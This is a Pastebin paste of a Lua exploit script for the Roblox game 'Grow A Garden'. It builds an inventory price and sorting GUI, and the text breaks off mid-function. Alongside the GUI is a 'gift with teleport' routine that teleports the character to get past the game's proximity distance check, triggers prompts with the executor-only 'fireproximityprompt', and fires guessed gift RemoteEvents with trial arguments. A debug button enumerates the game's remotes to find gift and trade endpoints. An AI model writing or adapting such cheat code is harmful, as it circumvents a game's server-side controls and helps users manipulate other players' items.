Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Inventory Price GUI for Grow A Garden
- local Players = game:GetService("Players")
- local ReplicatedStorage = game:GetService("ReplicatedStorage")
- local UserInputService = game:GetService("UserInputService")
- local RunService = game:GetService("RunService")
- local player = Players.LocalPlayer
- -- Get required modules
- local CalculatePetValue = require(ReplicatedStorage.Modules:WaitForChild("CalculatePetValue"))
- local CalculatePlantValue = require(ReplicatedStorage.Modules:WaitForChild("CalculatePlantValue"))
- local DataService = require(ReplicatedStorage.Modules.DataService)
- -- Helper to format numbers
- local function formatNumber(n)
- if not n or type(n) ~= "number" then return "$0" end
- local sign = (n < 0) and "-" or ""
- local absn = math.abs(n)
- local suffix = ""
- if absn >= 1e12 then
- n = n/1e12; suffix = "T"
- elseif absn >= 1e9 then
- n = n/1e9; suffix = "B"
- elseif absn >= 1e6 then
- n = n/1e6; suffix = "M"
- elseif absn >= 1e3 then
- n = n/1e3; suffix = "K"
- end
- local i = math.floor(math.abs(n))
- local f = math.abs(n) - i
- local frac = (f > 0) and ("%.1f"):format(f):sub(2) or ""
- local s = tostring(i)
- while true do
- local count
- s, count = s:gsub("^(-?%d+)(%d%d%d)", "%1,%2")
- if count == 0 then break end
- end
- return "$" .. sign .. s .. frac .. suffix
- end
- -- Create GUI
- local playerGui = player:WaitForChild("PlayerGui")
- -- Remove existing gui if it exists
- local existingGui = playerGui:FindFirstChild("InventoryPriceGui")
- if existingGui then
- existingGui:Destroy()
- end
- -- State variables
- local currentSortColumn = "Price" -- Default sort by price
- local currentSortDir = "desc" -- Default descending (highest first)
- local allItemsData = {} -- Will store all inventory items data
- local isMinimized = false
- local originalSize
- local sortButtons = {}
- local isRefreshing = false
- local lastRefreshTime = 0
- -- Create main GUI
- local inventoryGui = Instance.new("ScreenGui")
- inventoryGui.Name = "InventoryPriceGui"
- inventoryGui.ResetOnSpawn = false
- inventoryGui.Parent = playerGui
- local mainFrame = Instance.new("Frame")
- mainFrame.Size = UDim2.new(0, 500, 0, 400)
- mainFrame.Position = UDim2.new(0.5, -250, 0.5, -200) -- change size and position
- mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
- mainFrame.BackgroundTransparency = 0.1
- mainFrame.Parent = inventoryGui
- mainFrame.Active = true
- -- Store original size for minimizing
- originalSize = mainFrame.Size
- -- Add rounded corners
- local mainCorner = Instance.new("UICorner")
- mainCorner.CornerRadius = UDim.new(0, 8)
- mainCorner.Parent = mainFrame
- -- Title bar
- local titleBar = Instance.new("Frame")
- titleBar.Name = "TitleBar"
- titleBar.Size = UDim2.new(1, 0, 0, 30)
- titleBar.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
- titleBar.BorderSizePixel = 0
- titleBar.Parent = mainFrame
- -- Add rounded corners to title bar (top corners only)
- local titleCorner = Instance.new("UICorner")
- titleCorner.CornerRadius = UDim.new(0, 8)
- titleCorner.Parent = titleBar
- -- Make sure the title bar only rounds the top corners
- local bottomFrame = Instance.new("Frame")
- bottomFrame.Size = UDim2.new(1, 0, 0.5, 0)
- bottomFrame.Position = UDim2.new(0, 0, 0.5, 0)
- bottomFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
- bottomFrame.BorderSizePixel = 0
- bottomFrame.Parent = titleBar
- local titleText = Instance.new("TextLabel")
- titleText.Name = "Title"
- titleText.Size = UDim2.new(1, -100, 1, 0)
- titleText.BackgroundTransparency = 1
- titleText.Text = "Inventory Items & Prices"
- titleText.Font = Enum.Font.SourceSansBold
- titleText.TextColor3 = Color3.fromRGB(255, 255, 255)
- titleText.TextSize = 18
- titleText.Parent = titleBar
- -- Close button
- local closeButton = Instance.new("TextButton")
- closeButton.Name = "CloseButton"
- closeButton.Size = UDim2.new(0, 30, 0, 30)
- closeButton.Position = UDim2.new(1, -30, 0, 0)
- closeButton.BackgroundColor3 = Color3.fromRGB(200, 60, 60)
- closeButton.Text = "X"
- closeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
- closeButton.TextSize = 18
- closeButton.Font = Enum.Font.SourceSansBold
- closeButton.Parent = titleBar
- -- Add rounded corners to close button
- local closeCorner = Instance.new("UICorner")
- closeCorner.CornerRadius = UDim.new(0, 6)
- closeCorner.Parent = closeButton
- -- Minimize button
- local minimizeButton = Instance.new("TextButton")
- minimizeButton.Name = "MinimizeButton"
- minimizeButton.Size = UDim2.new(0, 30, 0, 30)
- minimizeButton.Position = UDim2.new(1, -65, 0, 0)
- minimizeButton.BackgroundColor3 = Color3.fromRGB(60, 60, 200)
- minimizeButton.Text = "-"
- minimizeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
- minimizeButton.TextSize = 22
- minimizeButton.Font = Enum.Font.SourceSansBold
- minimizeButton.Parent = titleBar
- -- Add rounded corners to minimize button
- local minimizeCorner = Instance.new("UICorner")
- minimizeCorner.CornerRadius = UDim.new(0, 6)
- minimizeCorner.Parent = minimizeButton
- -- Refresh Button
- local refreshButton = Instance.new("TextButton")
- refreshButton.Name = "RefreshButton"
- refreshButton.Size = UDim2.new(0, 100, 0, 25)
- refreshButton.Position = UDim2.new(0, 10, 0, 3)
- refreshButton.BackgroundColor3 = Color3.fromRGB(60, 120, 60)
- refreshButton.Text = "Refresh"
- refreshButton.TextColor3 = Color3.fromRGB(255, 255, 255)
- refreshButton.TextSize = 16
- refreshButton.Font = Enum.Font.SourceSansBold
- refreshButton.Parent = titleBar
- -- Create a UICorner for the refresh button
- local refreshCorner = Instance.new("UICorner")
- refreshCorner.CornerRadius = UDim.new(0, 4)
- refreshCorner.Parent = refreshButton
- -- Create a permanent username input field near refresh button
- local giftPlayerFrame = Instance.new("Frame")
- giftPlayerFrame.Name = "GiftPlayerFrame"
- giftPlayerFrame.Size = UDim2.new(0, 200, 0, 25)
- giftPlayerFrame.Position = UDim2.new(0, 120, 0, 3) -- Next to refresh button
- giftPlayerFrame.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
- giftPlayerFrame.BackgroundTransparency = 0.3
- giftPlayerFrame.Parent = titleBar
- -- Add rounded corners
- local giftPlayerCorner = Instance.new("UICorner")
- giftPlayerCorner.CornerRadius = UDim.new(0, 4)
- giftPlayerCorner.Parent = giftPlayerFrame
- -- Create input field
- local giftPlayerInput = Instance.new("TextBox")
- giftPlayerInput.Name = "GiftPlayerInput"
- giftPlayerInput.Size = UDim2.new(1, -10, 1, -6)
- giftPlayerInput.Position = UDim2.new(0, 5, 0, 3)
- giftPlayerInput.BackgroundTransparency = 1
- giftPlayerInput.Text = ""
- giftPlayerInput.PlaceholderText = "Enter player name to gift"
- giftPlayerInput.TextColor3 = Color3.fromRGB(255, 255, 255)
- giftPlayerInput.TextSize = 14
- giftPlayerInput.Font = Enum.Font.SourceSans
- giftPlayerInput.Parent = giftPlayerFrame
- -- Add Debug button to find all remotes
- local debugButton = Instance.new("TextButton")
- debugButton.Name = "DebugButton"
- debugButton.Size = UDim2.new(0, 100, 0, 25)
- debugButton.Position = UDim2.new(0, 330, 0, 3) -- After username field
- debugButton.BackgroundColor3 = Color3.fromRGB(80, 80, 150)
- debugButton.Text = "Debug"
- debugButton.TextColor3 = Color3.fromRGB(255, 255, 255)
- debugButton.TextSize = 14
- debugButton.Font = Enum.Font.SourceSansBold
- debugButton.Parent = titleBar
- -- Add rounded corners to debug button
- local debugCorner = Instance.new("UICorner")
- debugCorner.CornerRadius = UDim.new(0, 4)
- debugCorner.Parent = debugButton
- -- Add notice about the fireproximityprompt function
- local noticeLabel = Instance.new("TextLabel")
- noticeLabel.Size = UDim2.new(0, 300, 0, 20)
- noticeLabel.Position = UDim2.new(1, -310, 0, 5)
- noticeLabel.BackgroundTransparency = 1
- noticeLabel.Font = Enum.Font.SourceSansItalic
- noticeLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
- noticeLabel.TextSize = 12
- noticeLabel.Text = "Auto-teleport gifting requires a script executor"
- noticeLabel.TextXAlignment = Enum.TextXAlignment.Right
- noticeLabel.Parent = titleBar
- -- Add resize handle
- local resizeHandle = Instance.new("Frame")
- resizeHandle.Name = "ResizeHandle"
- resizeHandle.Size = UDim2.new(0, 20, 0, 20)
- resizeHandle.Position = UDim2.new(1, -20, 1, -20)
- resizeHandle.BackgroundColor3 = Color3.fromRGB(80, 80, 80)
- resizeHandle.BackgroundTransparency = 0.5
- resizeHandle.Parent = mainFrame
- resizeHandle.ZIndex = 10
- -- Add a texture to indicate resize handle
- local resizeTexture = Instance.new("TextLabel")
- resizeTexture.Name = "ResizeTexture"
- resizeTexture.Size = UDim2.new(1, 0, 1, 0)
- resizeTexture.BackgroundTransparency = 1
- resizeTexture.Text = "⇲"
- resizeTexture.TextColor3 = Color3.fromRGB(200, 200, 200)
- resizeTexture.TextSize = 16
- resizeTexture.Font = Enum.Font.SourceSansBold
- resizeTexture.Parent = resizeHandle
- -- Header Frame for column titles
- local headerFrame = Instance.new("Frame")
- headerFrame.Name = "HeaderFrame"
- headerFrame.Size = UDim2.new(1, -20, 0, 35)
- headerFrame.Position = UDim2.new(0, 10, 0, 40)
- headerFrame.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
- headerFrame.BackgroundTransparency = 0.5
- headerFrame.Parent = mainFrame
- -- Add rounded corners to header frame
- local headerCorner = Instance.new("UICorner")
- headerCorner.CornerRadius = UDim.new(0, 6)
- headerCorner.Parent = headerFrame
- -- Scrolling Frame for item list
- local scrollingFrame = Instance.new("ScrollingFrame")
- scrollingFrame.Name = "ScrollingFrame"
- scrollingFrame.Size = UDim2.new(1, -20, 1, -105)
- scrollingFrame.Position = UDim2.new(0, 10, 0, 85)
- scrollingFrame.BackgroundTransparency = 0.9
- scrollingFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
- scrollingFrame.BorderSizePixel = 0
- scrollingFrame.ScrollBarThickness = 8
- scrollingFrame.Parent = mainFrame
- -- Total price indicator
- local totalFrame = Instance.new("Frame")
- totalFrame.Name = "TotalFrame"
- totalFrame.Size = UDim2.new(1, -20, 0, 30)
- totalFrame.Position = UDim2.new(0, 10, 1, -40)
- totalFrame.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
- totalFrame.BackgroundTransparency = 0.5
- totalFrame.Parent = mainFrame
- -- Add rounded corners to total frame
- local totalCorner = Instance.new("UICorner")
- totalCorner.CornerRadius = UDim.new(0, 6)
- totalCorner.Parent = totalFrame
- local totalLabel = Instance.new("TextLabel")
- totalLabel.Name = "TotalLabel"
- totalLabel.Size = UDim2.new(0.5, 0, 1, 0)
- totalLabel.BackgroundTransparency = 1
- totalLabel.Font = Enum.Font.SourceSansBold
- totalLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
- totalLabel.TextSize = 18
- totalLabel.Text = "Total Value:"
- totalLabel.TextXAlignment = Enum.TextXAlignment.Left
- totalLabel.Position = UDim2.new(0, 10, 0, 0)
- totalLabel.Parent = totalFrame
- local totalValueLabel = Instance.new("TextLabel")
- totalValueLabel.Name = "TotalValueLabel"
- totalValueLabel.Size = UDim2.new(0.5, 0, 1, 0)
- totalValueLabel.Position = UDim2.new(0.5, 0, 0, 0)
- totalValueLabel.BackgroundTransparency = 1
- totalValueLabel.Font = Enum.Font.SourceSansBold
- totalValueLabel.TextColor3 = Color3.fromRGB(255, 255, 100)
- totalValueLabel.TextSize = 18
- totalValueLabel.Text = "$0"
- totalValueLabel.TextXAlignment = Enum.TextXAlignment.Right
- totalValueLabel.Position = UDim2.new(0.5, -10, 0, 0)
- totalValueLabel.Parent = totalFrame
- -- Column Headers with sort buttons
- local columns = {"Item Name", "Type", "Variant", "Mutations", "Weight (kg)", "Price", "Favorited", "Gift"}
- local columnWidths = {0.24, 0.08, 0.1, 0.17, 0.1, 0.15, 0.08, 0.08}
- -- Create Column Headers
- local currentX = 0
- for i, columnName in ipairs(columns) do
- local headerContainer = Instance.new("Frame")
- headerContainer.Name = columnName:gsub(" ", "") .. "HeaderContainer"
- headerContainer.Size = UDim2.new(columnWidths[i], 0, 1, 0)
- headerContainer.Position = UDim2.new(currentX, 0, 0, 0)
- headerContainer.BackgroundTransparency = 1
- headerContainer.Parent = headerFrame
- local columnHeader = Instance.new("TextLabel")
- columnHeader.Name = columnName:gsub(" ", "") .. "Header"
- columnHeader.Size = UDim2.new(1, -25, 1, 0) -- Make room for sort button
- columnHeader.Position = UDim2.new(0, 5, 0, 0)
- columnHeader.BackgroundTransparency = 1
- columnHeader.Font = Enum.Font.SourceSansBold
- columnHeader.TextColor3 = Color3.fromRGB(255, 255, 255)
- columnHeader.TextSize = 18
- columnHeader.Text = columnName
- columnHeader.TextXAlignment = Enum.TextXAlignment.Left
- columnHeader.Parent = headerContainer
- -- Add sort button (except for Gift column)
- if i < 8 then
- local sortButton = Instance.new("TextButton")
- sortButton.Name = "SortButton"
- sortButton.Size = UDim2.new(0, 20, 0, 20)
- sortButton.Position = UDim2.new(1, -25, 0.5, -10)
- sortButton.BackgroundTransparency = 0.8
- sortButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
- sortButton.Text = columnName == currentSortColumn and (currentSortDir == "asc" and "▲" or "▼") or "◆"
- sortButton.TextColor3 = columnName == currentSortColumn
- and Color3.fromRGB(255, 255, 100)
- or Color3.fromRGB(150, 150, 150)
- sortButton.TextSize = 14
- sortButton.Font = Enum.Font.SourceSansBold
- sortButton.Parent = headerContainer
- -- Add rounded corners to sort button
- local sortCorner = Instance.new("UICorner")
- sortCorner.CornerRadius = UDim.new(0, 4)
- sortCorner.Parent = sortButton
- -- Store the sort button for later reference
- sortButtons[columnName] = sortButton
- end
- currentX = currentX + columnWidths[i]
- end
- -- Function to toggle minimize state
- local function toggleMinimize()
- isMinimized = not isMinimized
- if isMinimized then
- -- Store current size before minimizing
- originalSize = mainFrame.Size
- -- Minimize GUI - just show title bar
- mainFrame.Size = UDim2.new(0, 300, 0, 30)
- minimizeButton.Text = "+"
- -- Hide content
- if mainFrame:FindFirstChild("HeaderFrame") then
- mainFrame.HeaderFrame.Visible = false
- end
- if mainFrame:FindFirstChild("ScrollingFrame") then
- mainFrame.ScrollingFrame.Visible = false
- end
- if mainFrame:FindFirstChild("TotalFrame") then
- mainFrame.TotalFrame.Visible = false
- end
- if mainFrame:FindFirstChild("ResizeHandle") then
- mainFrame.ResizeHandle.Visible = false
- end
- else
- -- Restore GUI to original size
- mainFrame.Size = originalSize
- minimizeButton.Text = "-"
- -- Show content
- if mainFrame:FindFirstChild("HeaderFrame") then
- mainFrame.HeaderFrame.Visible = true
- end
- if mainFrame:FindFirstChild("ScrollingFrame") then
- mainFrame.ScrollingFrame.Visible = true
- end
- if mainFrame:FindFirstChild("TotalFrame") then
- mainFrame.TotalFrame.Visible = true
- end
- if mainFrame:FindFirstChild("ResizeHandle") then
- mainFrame.ResizeHandle.Visible = true
- end
- end
- end
- -- Connect minimize button
- minimizeButton.MouseButton1Click:Connect(toggleMinimize)
- -- DRAGGING IMPLEMENTATION
- local dragging = false
- local dragInput
- local dragStart
- local startPos
- local function updateDrag(input)
- if dragging then
- local delta = input.Position - dragStart
- local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
- startPos.Y.Scale, startPos.Y.Offset + delta.Y)
- RunService.RenderStepped:Wait()
- mainFrame.Position = position
- end
- end
- titleBar.InputBegan:Connect(function(input)
- if input.UserInputType == Enum.UserInputType.MouseButton1 or
- input.UserInputType == Enum.UserInputType.Touch then
- dragging = true
- dragStart = input.Position
- startPos = mainFrame.Position
- input.Changed:Connect(function()
- if input.UserInputState == Enum.UserInputState.End then
- dragging = false
- end
- end)
- end
- end)
- titleBar.InputChanged:Connect(function(input)
- if input.UserInputType == Enum.UserInputType.MouseMovement or
- input.UserInputType == Enum.UserInputType.Touch then
- dragInput = input
- end
- end)
- UserInputService.InputChanged:Connect(function(input)
- if input == dragInput and dragging then
- updateDrag(input)
- end
- end)
- -- RESIZE IMPLEMENTATION
- local resizing = false
- local resizeStart
- local startSize
- resizeHandle.InputBegan:Connect(function(input)
- if input.UserInputType == Enum.UserInputType.MouseButton1 or
- input.UserInputType == Enum.UserInputType.Touch then
- resizing = true
- resizeStart = input.Position
- startSize = mainFrame.Size
- input.Changed:Connect(function()
- if input.UserInputState == Enum.UserInputState.End then
- resizing = false
- end
- end)
- end
- end)
- UserInputService.InputChanged:Connect(function(input)
- if resizing and (input.UserInputType == Enum.UserInputType.MouseMovement or
- input.UserInputType == Enum.UserInputType.Touch) then
- local delta = input.Position - resizeStart
- local newWidth = math.max(400, startSize.X.Offset + delta.X)
- local newHeight = math.max(300, startSize.Y.Offset + delta.Y)
- -- Resize main frame
- mainFrame.Size = UDim2.new(0, newWidth, 0, newHeight)
- originalSize = mainFrame.Size
- -- Update scrolling frame size
- if scrollingFrame then
- scrollingFrame.Size = UDim2.new(1, -20, 1, -105)
- end
- end
- end)
- -- Close button logic
- closeButton.MouseButton1Click:Connect(function()
- inventoryGui:Destroy()
- end)
- -- Modified gift function with proximity bypass
- local function giftWithTeleport(tool, targetPlayerName)
- -- Validate inputs
- if not tool or targetPlayerName == "" then
- return false
- end
- -- Find the target player
- local targetPlayer = nil
- for _, plr in pairs(game.Players:GetPlayers()) do
- if plr.Name:lower() == targetPlayerName:lower() then
- targetPlayer = plr
- break
- end
- end
- if not targetPlayer then
- return false, "Player not found"
- end
- -- Variables for teleport loop
- local character = player.Character
- local targetCharacter = targetPlayer.Character
- local isGifting = true
- local giftSuccess = false
- local maxAttempts = 20
- local attempts = 0
- local startTime = tick()
- -- Equip the tool first
- if tool.Parent ~= character then
- tool.Parent = character
- task.wait(0.1)
- end
- -- Start teleport and gift attempt loop
- spawn(function()
- while isGifting and attempts < maxAttempts and tick() - startTime < 10 do
- attempts = attempts + 1
- -- Teleport to target player (forcefully move close to bypass distance check)
- if character and targetCharacter and character.PrimaryPart and targetCharacter.PrimaryPart then
- pcall(function()
- local origPos = character.PrimaryPart.CFrame
- -- Teleport extremely close to target to bypass distance check
- character:SetPrimaryPartCFrame(
- targetCharacter.PrimaryPart.CFrame *
- CFrame.new(0, 0, 2) -- Very close distance
- )
- -- Wait a tiny moment for game to register position
- task.wait(0.1)
- -- Attempt multiple bypass methods
- -- 1. Try to trigger proximity prompts directly
- local hrp = targetCharacter:FindFirstChild("HumanoidRootPart")
- if hrp then
- for _, obj in pairs(hrp:GetChildren()) do
- if obj:IsA("ProximityPrompt") and obj.Enabled then
- -- Try with different methods
- fireproximityprompt(obj)
- task.wait(0.05)
- pcall(function() obj:InputHoldBegin() end)
- task.wait(0.05)
- pcall(function() obj:InputHoldEnd() end)
- task.wait(0.05)
- end
- end
- end
- -- Return to original position if teleport isn't allowed in game
- task.wait(0.2)
- pcall(function() character:SetPrimaryPartCFrame(origPos) end)
- end)
- end
- -- Try to trigger remote events directly
- pcall(function()
- -- Try all potential gift-related remotes
- local gameEvents = ReplicatedStorage:FindFirstChild("GameEvents")
- if gameEvents then
- -- Try direct method with all potential parameters
- local remotes = {
- gameEvents:FindFirstChild("FriendGiftEvent"),
- gameEvents:FindFirstChild("RemoteEvent"),
- gameEvents:FindFirstChild("PetGiftingService"),
- gameEvents:FindFirstChild("SeedPackGiverEvent")
- }
- for _, remote in pairs(remotes) do
- if remote then
- -- Try various parameter combinations
- remote:FireServer(tool, targetPlayer)
- remote:FireServer("GiveItem", targetPlayer, tool)
- remote:FireServer(targetPlayer, tool)
- remote:FireServer(tool)
- end
- end
- end
- end)
- -- Check if tool still exists (it would be gone if gift succeeded)
- if not tool:IsDescendantOf(game) then
- giftSuccess = true
- isGifting = false
- break
- end
- -- Small wait between attempts
- task.wait(0.3)
- end
- isGifting = false
- end)
- -- Return immediately but gifting continues in background
- return true, "Attempting to bypass proximity limit..."
- end
- -- Add function to find all remote events (for debugging)
- local function findPotentialGiftRemotes()
- local remotes = {}
- for _, instance in pairs(ReplicatedStorage:GetDescendants()) do
- if instance:IsA("RemoteEvent") or instance:IsA("RemoteFunction") then
- table.insert(remotes, instance:GetFullName())
- end
- end
- return remotes
- end
- -- Connect debug button
- debugButton.MouseButton1Click:Connect(function()
- local remotes = findPotentialGiftRemotes()
- print("=== POTENTIAL GIFT REMOTES ===")
- for i, remotePath in ipairs(remotes) do
- if remotePath:lower():find("gift") or remotePath:lower():find("trade") or
- remotePath:lower():find("item") or remotePath:lower():find("give") then
- print(i, remotePath, "(LIKELY)")
- else
- print(i, remotePath)
- end
- end
- print("Total remotes found:", #remotes)
- print("=== END OF REMOTES LIST ===")
- end)
- -- Forward declaration for createSortedItemList function
- local createSortedItemList
- -- Function to refresh the inventory list
- local function refreshInventoryList()
- -- Prevent multiple refreshes at once
- if isRefreshing then return end
- isRefreshing = true
- -- Don't refresh too frequently
- local currentTime = tick()
- if currentTime - lastRefreshTime < 5 then
- isRefreshing = false
- return
- end
- lastRefreshTime = currentTime
- -- Update button appearance
- refreshButton.Text = "Refreshing..."
- refreshButton.BackgroundColor3 = Color3.fromRGB(100, 100, 100)
- -- Clear all item data
- allItemsData = {}
- -- Get player inventory data
- local success, playerData = pcall(function()
- return DataService:GetData()
- end)
- if not success or not playerData or not playerData.InventoryData then
- local errorLabel = Instance.new("TextLabel")
- errorLabel.Size = UDim2.new(1, 0, 0, 30)
- errorLabel.Position = UDim2.new(0, 0, 0, 0)
- errorLabel.BackgroundTransparency = 1
- errorLabel.TextColor3 = Color3.fromRGB(255, 100, 100)
- errorLabel.Text = "Inventory data not found!"
- errorLabel.Font = Enum.Font.SourceSansSemibold
- errorLabel.TextSize = 18
- errorLabel.Parent = scrollingFrame
- -- Reset button
- refreshButton.Text = "Refresh"
- refreshButton.BackgroundColor3 = Color3.fromRGB(60, 120, 60)
- isRefreshing = false
- return
- end
- local totalValue = 0
- -- Get tools from player's backpack and character
- local backpack = player:FindFirstChild("Backpack")
- local character = player.Character
- local tools = {}
- -- Collect tools from backpack
- if backpack then
- for _, tool in pairs(backpack:GetChildren()) do
- if tool:IsA("Tool") then
- table.insert(tools, tool)
- end
- end
- end
- -- Collect tools from character
- if character then
- for _, tool in pairs(character:GetChildren()) do
- if tool:IsA("Tool") then
- table.insert(tools, tool)
- end
- end
- end
- -- Process each tool
- for _, tool in pairs(tools) do
- -- Only process holdable items (not seeds)
- if tool:GetAttribute("ItemType") == "Holdable" or tool:GetAttribute("ItemType") == "Pet" then
- local itemName = tool.Name
- local itemType = tool:GetAttribute("ItemType") or "Unknown"
- -- Get item UUID to find in inventory data
- local uuid = tool:GetAttribute("ITEM_UUID")
- if not uuid then continue end
- -- Get item data from inventory
- local itemData = playerData.InventoryData[uuid]
- if not itemData or not itemData.ItemData then continue end
- -- Get variant
- local variant = "Normal"
- if itemData.ItemData.Variant then
- variant = itemData.ItemData.Variant
- end
- -- Get mutations
- local mutations = "None"
- if itemData.ItemData.MutationString and itemData.ItemData.MutationString ~= "" then
- mutations = itemData.ItemData.MutationString
- end
- -- Get weight (FIXED)
- local weight = 0
- local weightDisplay = "0.00"
- -- For pets, extract from name with better pattern matching
- if itemType == "Pet" then
- local weightStr = itemName:match("(%d+%.?%d*)%s*KG")
- if weightStr then
- weight = tonumber(weightStr) or 0
- weightDisplay = string.format("%.2f", weight)
- end
- else
- -- Try multiple sources for weight
- if tool:GetAttribute("Weight") then
- weight = tool:GetAttribute("Weight")
- elseif tool:FindFirstChild("Weight") and tool.Weight:IsA("NumberValue") then
- weight = tool.Weight.Value
- else
- -- Last resort: try to extract from name
- local weightStr = itemName:match("(%d+%.?%d*)%s*[Kk][Gg]")
- if weightStr then
- weight = tonumber(weightStr) or 0
- end
- end
- weightDisplay = string.format("%.2f", weight)
- end
- -- Calculate price
- local price = 0
- pcall(function()
- if itemType == "Pet" then
- price = CalculatePetValue(tool)
- else
- price = CalculatePlantValue(tool)
- end
- end)
- -- Add to total value
- totalValue = totalValue + price
- -- Check if item is favorited
- local isFavorited = false
- if (itemData.ItemData.IsFavorite and itemData.ItemData.IsFavorite == true) or
- (tool:GetAttribute("IsFavorite") and tool:GetAttribute("IsFavorite") == true) or
- (tool:GetAttribute("Favorite") and tool:GetAttribute("Favorite") == true) then
- isFavorited = true
- end
- -- Store item data for sorting
- table.insert(allItemsData, {
- name = itemName:gsub("%s*%[.*%]", ""):gsub("%s*%d+%.?%d*%s*KG", ""):gsub("Age%s*%d+", ""):gsub("%s+$", ""), -- Clean up name
- fullName = itemName,
- type = itemType,
- variant = variant,
- mutations = mutations,
- weight = weightDisplay,
- weightNum = weight,
- price = price,
- formattedPrice = formatNumber(price),
- uuid = uuid,
- isFavorited = isFavorited,
- tool = tool -- Store reference to the tool for gift functionality
- })
- end
- end
- -- Update total value display
- totalValueLabel.Text = formatNumber(totalValue)
- -- Display sorted item list
- createSortedItemList()
- -- Reset button
- refreshButton.Text = "Refresh"
- refreshButton.BackgroundColor3 = Color3.fromRGB(60, 120, 60)
- isRefreshing = false
- end
- -- Function to create sorted item list
- createSortedItemList = function()
- -- Clear existing list
- for _, child in pairs(scrollingFrame:GetChildren()) do
- if child:IsA("Frame") then
- child:Destroy()
- end
- end
- -- Sort the items data based on current sort column and direction
- table.sort(allItemsData, function(a, b)
- local aValue, bValue
- if currentSortColumn == "Item Name" then
- aValue = a.name:lower()
- bValue = b.name:lower()
- elseif currentSortColumn == "Type" then
- aValue = a.type:lower()
- bValue = b.type:lower()
- elseif currentSortColumn == "Variant" then
- -- Sort variants (Rainbow > Gold > Normal)
- local variantPriority = {
- ["Rainbow"] = 3,
- ["Gold"] = 2,
- ["Normal"] = 1
- }
- aValue = variantPriority[a.variant] or 0
- bValue = variantPriority[b.variant] or 0
- elseif currentSortColumn == "Mutations" then
- -- Sort by number of mutations (more is better)
- local function countMutations(mutStr)
- if mutStr == "None" then return 0 end
- local count = 0
- for mutation in mutStr:gmatch("[^,]+") do
- count = count + 1
- end
- return count
- end
- aValue = countMutations(a.mutations)
- bValue = countMutations(b.mutations)
- elseif currentSortColumn == "Weight (kg)" then
- aValue = a.weightNum or 0
- bValue = b.weightNum or 0
- elseif currentSortColumn == "Price" then
- aValue = a.price or 0
- bValue = b.price or 0
- elseif currentSortColumn == "Favorited" then
- aValue = a.isFavorited and 1 or 0
- bValue = b.isFavorited and 1 or 0
- else
- return false
- end
- if currentSortDir == "asc" then
- return aValue < bValue
- else
- return aValue > bValue
- end
- end)
- -- Update sort button appearance
- for colName, button in pairs(sortButtons) do
- if colName == currentSortColumn then
- button.Text = currentSortDir == "asc" and "▲" or "▼"
- button.TextColor3 = Color3.fromRGB(255, 255, 100) -- Highlight active sort
- else
- button.Text = "◆"
- button.TextColor3 = Color3.fromRGB(150, 150, 150) -- Dim inactive sorts
- end
- end
- -- Display all items (no limit)
- local rowHeight = 30
- for i, itemData in ipairs(allItemsData) do
- -- Create row frame
- local rowFrame = Instance.new("Frame")
- rowFrame.Name = "Row_" .. i
- rowFrame.Size = UDim2.new(1, 0, 0, rowHeight)
- rowFrame.Position = UDim2.new(0, 0, 0, (i-1) * rowHeight)
- rowFrame.BackgroundColor3 = i % 2 == 0 and Color3.fromRGB(40, 40, 40) or Color3.fromRGB(35, 35, 35)
- rowFrame.BackgroundTransparency = 0.3
- rowFrame.Parent = scrollingFrame
- -- Create columns in the row
- local currentX = 0
- local columnValues = {
- itemData.name,
- itemData.type,
- itemData.variant,
- itemData.mutations,
- itemData.weight,
- itemData.formattedPrice,
- itemData.isFavorited and "Yes" or "No",
- "" -- Empty for gift button
- }
- for j, columnValue in ipairs(columnValues) do
- if j < 8 then -- Regular columns
- local cell = Instance.new("TextLabel")
- cell.Name = "Column" .. j
- cell.Size = UDim2.new(columnWidths[j], -10, 1, 0)
- cell.Position = UDim2.new(currentX, 5, 0, 0)
- cell.BackgroundTransparency = 1
- cell.Font = Enum.Font.SourceSans
- -- Special formatting for different columns
- if j == 3 then -- Variant column
- if columnValue == "Rainbow" then
- cell.TextColor3 = Color3.fromRGB(255, 100, 255)
- elseif columnValue == "Gold" then
- cell.TextColor3 = Color3.fromRGB(255, 215, 0)
- else
- cell.TextColor3 = Color3.fromRGB(255, 255, 255)
- end
- elseif j == 4 then -- Mutations column
- if columnValue ~= "None" then
- cell.TextColor3 = Color3.fromRGB(100, 255, 100)
- else
- cell.TextColor3 = Color3.fromRGB(255, 255, 255)
- end
- elseif j == 6 then -- Price column
- cell.TextColor3 = Color3.fromRGB(255, 255, 100)
- elseif j == 7 then -- Favorited column
- cell.TextColor3 = columnValue == "Yes" and Color3.fromRGB(255, 100, 100) or Color3.fromRGB(255, 255, 255)
- else
- cell.TextColor3 = Color3.fromRGB(255, 255, 255)
- end
- cell.TextSize = 16
- cell.Text = tostring(columnValue)
- cell.TextXAlignment = Enum.TextXAlignment.Left
- cell.TextWrapped = true
- cell.Parent = rowFrame
- else -- Gift button column
- local giftButton = Instance.new("TextButton")
- giftButton.Name = "GiftButton"
- giftButton.Size = UDim2.new(columnWidths[j], -10, 0, 22)
- giftButton.Position = UDim2.new(currentX, 5, 0.5, -11)
- giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 150)
- giftButton.Text = "Gift"
- giftButton.TextColor3 = Color3.fromRGB(255, 255, 255)
- giftButton.TextSize = 14
- giftButton.Font = Enum.Font.SourceSansBold
- giftButton.Parent = rowFrame
- -- Add rounded corners
- local giftCorner = Instance.new("UICorner")
- giftCorner.CornerRadius = UDim.new(0, 4)
- giftCorner.Parent = giftButton
- -- One-click gift functionality with auto-teleport
- giftButton.MouseButton1Click:Connect(function()
- local targetPlayer = giftPlayerInput.Text
- if targetPlayer == "" then
- -- Show error if no username entered
- giftButton.Text = "No User!"
- giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 60)
- -- Reset after 2 seconds
- task.delay(2, function()
- giftButton.Text = "Gift"
